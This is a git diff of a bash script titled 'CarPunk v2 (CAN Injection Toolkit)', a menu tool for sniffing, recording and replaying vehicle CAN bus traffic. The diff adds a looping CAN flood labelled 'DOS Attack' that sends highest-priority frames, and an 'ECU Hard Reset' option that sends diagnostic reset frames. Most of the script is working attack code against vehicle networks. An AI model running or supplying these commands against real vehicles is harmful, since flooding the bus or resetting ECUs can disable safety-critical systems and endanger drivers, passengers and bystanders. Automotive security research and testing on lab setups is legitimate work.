11#! /bin/bash
22
33
4- # Project: CarPunk
4+ # Project: CarPunk v2 (CAN Injection Toolkit)
55# Coded By: souravbaghz
66
77# +++++++++++++++++++++++++ WARNINGS ++++++++++++++++++++++++++
@@ -21,35 +21,40 @@ green="\e[92m"
2121redbg=" \e[41m"
2222greenbg=" \e[40m"
2323
24+ banner (){
25+ echo -e " $green
26+
27+ ▄▄▐▀▀▀▀▀▀▀▀▀▀▀▌▄▄
28+ ▄▄▄█▄▄▄▄▄▄▄▄▄▄▄█▄▄▄
29+ █▄█░░█▓█▓█▓█▓█░░█▄█▌
30+ ▓▓█▀███████████▀█▓▓
31+ ▓▓▀▀${reset} souravbaghz${green} ▀▀▓▓
32+ █▀▀ ▄▀█ █▀█ █▀█ █░█ █▄░█ █▄▀
33+ █▄▄ █▀█ █▀▄ █▀▀ █▄█ █░▀█ █░█
34+ ${bold} ⲤⲀⲚ Ⲓⲛ𝓳ⲉⲥⲧⲓⲟⲛ Ⲧⲟⲟ𝓵ⲕⲓⲧ$reset
35+ $reset ──────────────────────────────"
36+ }
37+
38+ if [ -z " $1 " ]
39+ then
40+ banner
41+ echo " Interface is not supplied" # interface not supplied
42+ echo " Usage : carpunk.sh <Inferface>"
43+ echo " Example: ./carpunk.sh can0"
44+ exit 1
45+ fi
2446
2547mkdir -p logs
2648# var
27- msg=" Hack the Car "
49+ msg=" HACK THE CAR "
2850inc=" 1"
2951
3052# =============================================
31- # PLEASE CHANGE THE INTERFACE AND LOG-NAME
32- i= " vcan0 "
53+ # YOU CAN CHANGE THE VARIABLE FOR LOG.
54+ interface= " $1 "
3355log=" carpunk"
3456# =============================================
3557
36-
37-
38- banner (){
39- echo -e " ${green}
40- |──────────────────────────────────────|
41- ▄▄· ▄▄▄· ▄▄▄ ▄▄▄·▄• ▄▌ ▐ ▄ ▄ •▄
42- ▐█ ▌▪▐█ ▀█ ▀▄ █·▐█ ▄██▪██▌•█▌▐██▌▄▌▪
43- ██ ▄▄▄█▀▀█ ▐▀▀▄ ██▀·█▌▐█▌▐█▐▐▌▐▀▀▄·
44- ▐███▌▐█ ▪▐▌▐█•█▌▐█▪·•▐█▄█▌██▐█▌▐█.█▌
45- ·▀▀▀ ▀ ▀ .▀ ▀.▀ ▀▀▀ ▀▀ █▪·▀ ▀
46- ${greenbg}${green} <:coded by souravbaghz:>${reset}
47- $msg
48- $green |──────────────────────────────────────|$reset
49- "
50- }
51-
52-
5358trap ctrl_c INT
5459
5560ctrl_c (){
@@ -61,58 +66,85 @@ ctrl_c(){
6166menu (){
6267clear
6368banner
64- echo -e " [1] UP the CAN Interface"
65- echo -e " [2] Down the CAN Interface"
66- echo -e " [3] Start the Basic Sniffing"
67- echo -e " [4] Record the CAN Packets"
68- echo -e " [5] Play the CAN Packets"
69-
70- echo -e " [0] Exit"
71- read -p " [>] Choose: " option
69+ echo -e " $bold$green$msg$reset "
70+ echo -e " ──────────────────────────────$reset "
71+ echo -e " $red [1]$green UP The CAN Interface"
72+ echo -e " $red [2]$green Down The CAN Interface"
73+ echo -e " $red [3]$green Start The Basic Sniffing"
74+ echo -e " $red [4]$green Record The CAN Packets"
75+ echo -e " $red [5]$green Play The CAN Packets"
76+ echo -e " $red [6]$green CAN Injection DOS Attack"
77+ echo -e " $red [7]$green ECU Hard Reset"
78+
79+ echo -e " $red [0]$green Exit$reset "
80+ read -p " [?] Choose: " option
7281
7382if [[ $option = 1 || $option = 01 ]]
7483 then
75- ip link set $i up
76- msg=" Interface Is UP Now !"
84+ ip link set $interface up
85+ msg=" Interface is up now !"
7786 clear
7887 menu
7988
8089 elif [[ $option = 2 || $option = 02 ]]
8190 then
82- ip link set $i down
83- msg=" Interface Is Down Now !"
91+ ip link set $interface down
92+ msg=" Interface is down now !"
8493 clear
8594 menu
8695
8796 elif [[ $option = 3 || $option = 03 ]]
8897 then
89- echo -e " ${red} + ${reset} ------------------------------------ ${red} + ${reset} "
90- msg=" Happy Car Hacking "
91- cansniffer $i -c
98+ echo -e " ────────────────────────────── "
99+ msg=" HAPPY CAR HACKING "
100+ cansniffer $interface -c
92101 read -r -s -p $' Press ENTER to go menu.'
93102 clear
94103 menu
95104
96105 elif [[ $option = 4 || $option = 04 ]]
97106 then
98- echo -e " ${red} +${reset} ------------------------------------${red} +${reset} "
99- msg=" Recorded & Stored as $log$inc .log"
100- candump -L $i > logs/$log$inc .log
107+ echo -e " ──────────────────────────────"
108+ msg=" Recorded & stored as $log$inc .log"
109+ echo -e " $green Dumping CAN Packets..."
110+ candump -L $interface > logs/$log$inc .log
101111 inc=$(( inc+ 1 ))
102112 echo " >"
103113 read -r -s -p $' Press ENTER to go menu.'
104114 menu
105115
106116 elif [[ $option = 5 || $option = 05 ]]
107117 then
108- echo -e " ${red} + ${reset} ------------------------------------ ${red} + ${reset} "
118+ echo -e " ────────────────────────────── "
109119 msg=" Replay Attack Completed"
110120 read -p " [?]Enter log name: " logname
121+ echo -e " $green Playing CAN Packets..."
111122 canplayer -I logs/$logname
112123 clear
113124 menu
114125
115-
126+ elif [[ $option = 6 || $option = 06 ]]
127+ then
128+ echo -e " ──────────────────────────────"
129+ msg=" DOS Attack Completed"
130+ while true
131+ do
132+ echo " Executing DOS Attack..."
133+ cansend $interface 000#0000000000000000
134+ clear
135+ done
136+ clear
137+ menu
138+
139+ elif [[ $option = 7 || $option = 07 ]]
140+ then
141+ echo -e " ──────────────────────────────"
142+ msg=" ECU Hard Reset Completed"
143+ cansend $interface 7DF#0211010000000000
144+ cansend $interface 7E1#0211010000000000
145+ clear
146+ menu
147+
116148 elif [[ $option = 0 || $option = 00 ]]
117149 then
118150 echo -e " [!]Exiting...${green}${reset} "
@@ -130,4 +162,3 @@ if [[ $option = 1 || $option = 01 ]]
130162
131163
132164menu
133-
0 commit comments